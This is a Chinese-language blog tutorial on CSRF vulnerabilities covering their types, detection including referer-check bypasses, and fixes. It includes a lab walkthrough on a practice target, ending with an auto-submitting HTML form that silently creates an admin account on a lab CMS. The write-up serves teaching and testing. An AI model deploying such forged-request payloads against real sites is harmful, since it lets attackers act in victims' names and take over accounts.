Loading

CSRF漏洞

CSRF产生的条件

一、被攻击者在登陆了web网页,并且在本地生成了cookie
二、在cookie未过期的情况下,利用同一个浏览器访问了攻击者的页面。

CSRF漏洞分类

1、GET型
GET型CSRF漏洞,只需要构造URL,然后诱导受害者访问利用。
2、POST型
POST型CSRF漏洞,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用。

CSRF漏洞危害

未验证 Referer或者未使用有效的Token导致黑客可以利用受害者的身份操控浏览器。

CSRF漏洞检测

1、GET类型的CSRF的检测
如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,即存在CSRF漏洞。

2、POST类型的CSRF的检测
如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,再去掉referer参数的内容,如果仍然可以,说明存在CSRF漏洞,可以利用构造外部form表单的形式,实现攻击。如果直接去掉referer参数请求失败,这种还可以继续验证对referer的判断是否严格,是否可以绕过。

3、特殊情况的POST类型的CSRF检测
如果上述post方式对referer验证的特别严格,有的时候由于程序员对请求类型判断不是很严格,可以导致post请求改写为get请求,从而CSRF。直接以get请求的方式进行访问,如果请求成功,即可以此种方式绕过对referer的检测,从而CSRF。

CSRF漏洞修复方案

1、添加随机token值,并验证。
2、验证Referer
3、关键请求使用验证码功能

利用靶场CSRF-Minefield-V1.0漏洞复现

这个靶机放置了存在CSRF漏洞的CMS。

先看看hotelcal这个cms。进入到添加用户和删除用户的功能下。

点击Create New Account来增加一个用户。填写好信息,然后点击save抓包。

可以看到增加用户功能的数据包里面没有添加token进行csrf防护。

利用burp的插件CSRF POC生成exp。

将这段exp复制下来保存在kali的/var/www/html目录下,格式是html。

kali开启Web服务。

将前面的exp放在根目录下。

访问exp。

可以看到有一个按钮,当我们点击的时候就会生成一个用户。可以看到多出来一个新用户。

删除用户功能也存在CSRF漏洞,利用方法和增加用户一致。
burp生成的exp有一个按钮,需要受害用户点击,改一下exp,改成直接访问链接就直接增加一个用户。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body onload=document.getElementById('ese-csrf').submit()>
    <form id="ese-csrf" action="http://192.168.88.161/hotelcal/admin/add_account.php" method="POST">
      <input type="hidden" name="name" value="ese" />
      <input type="hidden" name="username" value="ese" />
      <input type="hidden" name="password" value="ese123" />
      <input type="hidden" name="add&#95;account" value="" />
    </form>
  </body>
</html>
posted @ 2020-12-25 12:18  Hel10  阅读(564)  评论(0编辑  收藏  举报